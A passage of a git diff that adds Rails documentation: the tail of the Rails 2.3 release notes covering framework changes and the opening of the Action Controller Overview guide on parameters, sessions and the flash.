Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html +** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4 + +h4. Other Active Record Changes + +* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases. +* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record. +* A bug in quoting table names in some +has_many :through+ associations was fixed. +* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+ +* Better error messages on failed +find_by_attribute!+ calls. +* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option. +* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed. +* Rake tasks for testing databases via JDBC have been added. +* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied). +* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+. +* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+. + +h3. Action Controller + +Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release. + +h4. Unified Rendering + ++ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render: + +<ruby> +render :file => '/tmp/random_file.erb' +render :template => 'other_controller/action' +render :action => 'show' +</ruby> + +Now in Rails 2.3, you can just supply what you want to render: + +<ruby> +render '/tmp/random_file.erb' +render 'other_controller/action' +render 'show' +render :show +</ruby> +Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option. + +h4. Application Controller Renamed + +If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process. + +* More Information: +** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/ +** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more + +h4. HTTP Digest Authentication Support + +Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): + +<ruby> +class PostsController < ApplicationController + Users = {"dhh" => "secret"} + before_filter :authenticate + + def secret + render :text => "Password Required!" + end + + private + def authenticate + realm = "Application" + authenticate_or_request_with_http_digest(realm) do |name| + Users[name] + end + end +end +</ruby> + +* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/ +* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication + +h4. More Efficient Routing + +There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches. + +* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/ + +h4. Rack-based Lazy-loaded Sessions + +A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load. + +h4. MIME Type Handling Changes + +There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms: + +<ruby> +if content_type && Mime::JS =~ content_type + # do something cool +end + +Mime::JS =~ "text/javascript" => true +Mime::JS =~ "application/javascript" => true +</ruby> + +The other change is that the framework now uses the +Mime::JS+ when checking for javascript in various spots, making it handle those alternatives cleanly. + +* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons + +h4. Optimization of +respond_to+ + +In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup. + +h4. Improved Caching Performance + +Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods. + +* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/ + +h4. Localized Views + +Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project. + +In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example. + +h4. Partial Scoping for Translations + +A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before. + +h4. Other Action Controller Changes + +* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+. +* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely. +* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+. +* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. +* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+. +* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources. +* The bundled memcached client has been updated to version 1.6.4.99. +* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching. +* The +:requirements+ option now works properly with additional RESTful member routes. +* Shallow routes now properly respect namespaces. +* +polymorphic_url+ does a better job of handling objects with irregular plural names. + +h3. Action View + +Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things. + +h4. Nested Object Forms + +Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders + + accepts_nested_attributes_for :orders, :allow_destroy => true +end +</ruby> + +You can write this view in Rails 2.3: + +<erb> +<% form_for @customer do |customer_form| %> + <div> + <%= customer_form.label :name, 'Customer Name:' %> + <%= customer_form.text_field :name %> + </div> + + <!-- Here we call fields_for on the customer_form builder instance. + The block is called for each member of the orders collection. --> + <% customer_form.fields_for :orders do |order_form| %> + <p> + <div> + <%= order_form.label :number, 'Order Number:' %> + <%= order_form.text_field :number %> + </div> + + <!-- The allow_destroy option in the model enables deletion of + child records. --> + <% unless order_form.object.new_record? %> + <div> + <%= order_form.label :_delete, 'Remove:' %> + <%= order_form.check_box :_delete %> + </div> + <% end %> + </p> + <% end %> + + <%= customer_form.submit %> +<% end %> +</erb> + +* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/ +* More Information: +** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms +** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes +** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes + +h4. Smart Rendering of Partials + +The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming): + +<ruby> +# Equivalent of render :partial => 'articles/_article', +# :object => @article +render @article + +# Equivalent of render :partial => 'articles/_article', +# :collection => @articles +render @articles +</ruby> + +* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance + +h4. Prompts for Date Select Helpers + +In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt: + +<ruby> +select_datetime(DateTime.now, :prompt => true) + +select_datetime(DateTime.now, :prompt => "Choose date and time") + +select_datetime(DateTime.now, :prompt => + {:day => 'Choose day', :month => 'Choose month', + :year => 'Choose year', :hour => 'Choose hour', + :minute => 'Choose minute'}) +</ruby> + +* Lead Contributor: "Sam Oliver":http://samoliver.com/ + +h4. AssetTag Timestamp Caching + +You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients. + +h4. Asset Hosts as Objects + +Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting. + +* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master + +h4. grouped_options_for_select Helper Method + +Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example: + +<ruby> +grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], + "Cowboy Hat", "Choose a product...") +</ruby> + +returns + +<ruby> +<option value="">Choose a product...</option> +<optgroup label="Hats"> + <option value="Baseball Cap">Baseball Cap</option> + <option selected="selected" value="Cowboy Hat">Cowboy Hat</option> +</optgroup> +</ruby> + +h4. Disabled Option Tags for Form Select Helpers + +The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags: + +<ruby> +select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘) +</ruby> + +returns + +<ruby> +<select name=“post[category]“> +<option>story</option> +<option>joke</option> +<option>poem</option> +<option disabled=“disabled“>private</option> +</select> +</ruby> + +You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled: + +<ruby> +options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?}) +</ruby> + +* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/ +* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/ + +h4. A Note About Template Loading + +Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server. + +In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file: + +<ruby> +config.action_view.cache_template_loading = true +</ruby> + +This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development. + +h4. Other Action View Changes + +* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs. +* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links. +* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive. +* +current_page?+ now works properly even when there are multiple query parameters in the URL. + +h3. Active Support + +Active Support has a few interesting changes, including the introduction of +Object#try+. + +h4. Object#try + +A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +<%= @person.try(:name) %>+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil. + +* More Information: "try()":http://ozmm.org/posts/try.html. + +h4. Object#tap Backport + ++Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. + +h4. Swappable Parsers for XMLmini + +The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: + +<ruby> +XmlMini.backend = 'LibXML' +</ruby> + +* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/ +* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/ + +h4. Fractional seconds for TimeWithZone + +The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does: + +<ruby> +>> Time.zone.now.xmlschema(6) +=> "2009-01-16T13:00:06.13653Z" +</ruby> + +* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty + +h4. JSON Key Quoting + +If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys. + +h4. Other Active Support Changes + +* You can use +Enumerable#none?+ to check that none of the elements match the supplied block. +* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil. +* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+. +* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies). +* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. +* If you memoize a private method, the result will now be private. +* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+. +* +number_to_phone+ accepts 7-digit phone numbers now. +* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences. + +h3. Railties + +In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces. + +h4. Rails Metal + +Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins. + +* More Information: +** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal +** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m +** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html +** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal + +h4. Application Templates + +Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application: + +<ruby> +rake rails:template LOCATION=~/template.rb +</ruby> + +This will layer the changes from the template on top of whatever code the project already contains. + +* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/ +* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates + +h4. Quieter Backtraces + +Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. + +h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload + +Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. + +You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. + +h4. rake gem Task Rewrite + +The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored. + +* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar + +h4. Other Railties Changes + +* The instructions for updating a CI server to build Rails have been updated and expanded. +* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test. +* The default +environment.rb+ file has been decluttered. +* The dbconsole script now lets you use an all-numeric password without crashing. +* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+. +* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the +rails+ command, or add them later with +rake rails:generate_dispatchers+). +* Rails Guides have been converted from AsciiDoc to Textile markup. +* Scaffolded views and controllers have been cleaned up a bit. +* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path. +* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing. +* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files. + +h3. Deprecated + +A few pieces of older code are deprecated in this release: + +* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin. +* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master. +* Support for Rails components has been removed. +* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. +* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now. +* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect. +* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client. +* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead. +* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+. +* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options. +* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one. + +h3. Credits + +Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile new file mode 100644 index 0000000000..054ca99985 --- /dev/null +++ b/railties/guides/source/action_controller_overview.textile @@ -0,0 +1,776 @@ +h2. Action Controller Overview + +In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to: + +* Follow the flow of a request through a controller +* Understand why and how to store data in the session or cookies +* Work with filters to execute code during request processing +* Use Action Controller's built-in HTTP authentication +* Stream data directly to the user's browser +* Filter sensitive parameters so they do not appear in the application's log +* Deal with exceptions that may be raised during request processing + +endprologue. + +h3. What Does a Controller Do? + +Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible. + +For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. + +A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model. + +NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html. + +h3. Methods and Actions + +A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action. + +<ruby> +class ClientsController < ApplicationController + def new + end +end +</ruby> + +As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+: + +<ruby> +def new + @client = Client.new +end +</ruby> + +The "Layouts & rendering guide":layouts_and_rendering.html explains this in more detail. + ++ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself. + +Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters. + +h3. Parameters + +You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller: + +<ruby> +class ClientsController < ActionController::Base + # This action uses query string parameters because it gets run + # by an HTTP GET request, but this does not make any difference + # to the way in which the parameters are accessed. The URL for + # this action would look like this in order to list activated + # clients: /clients?status=activated + def index + if params[:status] == "activated" + @clients = Client.activated + else + @clients = Client.unactivated + end + end + + # This action uses POST parameters. They are most likely coming + # from an HTML form which the user has submitted. The URL for + # this RESTful request will be "/clients", and the data will be + # sent as part of the request body. + def create + @client = Client.new(params[:client]) + if @client.save + redirect_to @client + else + # This line overrides the default rendering behavior, which + # would have been to render the "create" view. + render :action => "new" + end + end +end +</ruby> + +h4. Hash and Array Parameters + +The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name: + +<pre> +GET /clients?ids[]=1&ids[]=2&ids[]=3 +</pre> + +NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind. + +The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. + +To send a hash you include the key name inside the brackets: + +<html> +<form action="/clients" method="post"> + <input type="text" name="client[name]" value="Acme" /> + <input type="text" name="client[phone]" value="12345" /> + <input type="text" name="client[address][postcode]" value="12345" /> + <input type="text" name="client[address][city]" value="Carrot City" /> +</form> +</html> + +When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+. + +Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys. + +h4. Routing Parameters + +The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL: + +<ruby> +map.connect "/clients/:status", + :controller => "clients", + :action => "index", + :foo => "bar" +</ruby> + +In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index". + +h4. +default_url_options+ + +You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller: + +<ruby> +class ApplicationController < ActionController::Base + # The options parameter is the hash passed in to 'url_for' + def default_url_options(options) + {:locale => I18n.locale} + end +end +</ruby> + +These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there. + + +h3. Session + +Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: + +* CookieStore - Stores everything on the client. +* DRbStore - Stores the data on a DRb server. +* MemCacheStore - Stores the data in a memcache. +* ActiveRecordStore - Stores the data in a database using Active Record. + +All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). + +For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). + +The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. + +Read more about session storage in the "Security Guide":security.html. + +If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: + +<ruby> +# Use the database for sessions instead of the cookie-based default, +# which shouldn't be used to store highly confidential information +# (create the session table with "rake db:sessions:create") +# ActionController::Base.session_store = :active_record_store +</ruby> + +Rails sets up a session key (the name of the cookie) and (for the CookieStore) a secret key used when signing the session data. These can also be changed in +config/initializers/session_store.rb+: + +<ruby> +# Your secret key for verifying cookie session data integrity. +# If you change this key, all old sessions will become invalid! +# Make sure the secret is at least 30 characters and all random, +# no regular words or you'll be exposed to dictionary attacks. +ActionController::Base.session = { + :key => '_yourappname_session', + :secret => '4f50711b8f0f49572...' +} +</ruby> + +NOTE: Changing the secret when using the CookieStore will invalidate all existing sessions. + +h4. Accessing the Session + +In your controller you can access the session through the +session+ instance method. + +NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job. + +Session values are stored using key/value pairs like a hash: + +<ruby> +class ApplicationController < ActionController::Base + +private + + # Finds the User with the ID stored in the session with the key + # :current_user_id This is a common way to handle user login in + # a Rails application; logging in sets the session value and + # logging out removes it. + def current_user + @_current_user ||= session[:current_user_id] && + User.find(session[:current_user_id]) + end +end +</ruby> + +To store something in the session, just assign it to the key like a hash: + +<ruby> +class LoginsController < ApplicationController + # "Create" a login, aka "log the user in" + def create + if user = User.authenticate(params[:username], params[:password]) + # Save the user ID in the session so it can be used in + # subsequent requests + session[:current_user_id] = user.id + redirect_to root_url + end + end +end +</ruby> + +To remove something from the session, assign that key to be +nil+: + +<ruby> +class LoginsController < ApplicationController + # "Delete" a login, aka "log the user out" + def destroy + # Remove the user id from the session + session[:current_user_id] = nil + redirect_to root_url + end +end +</ruby> + +To reset the entire session, use +reset_session+. + +h4. The Flash + +The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request: + +<ruby> +class LoginsController < ApplicationController + def destroy + session[:current_user_id] = nil + flash[:notice] = "You have successfully logged out" + redirect_to root_url + end +end +</ruby> + +The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's 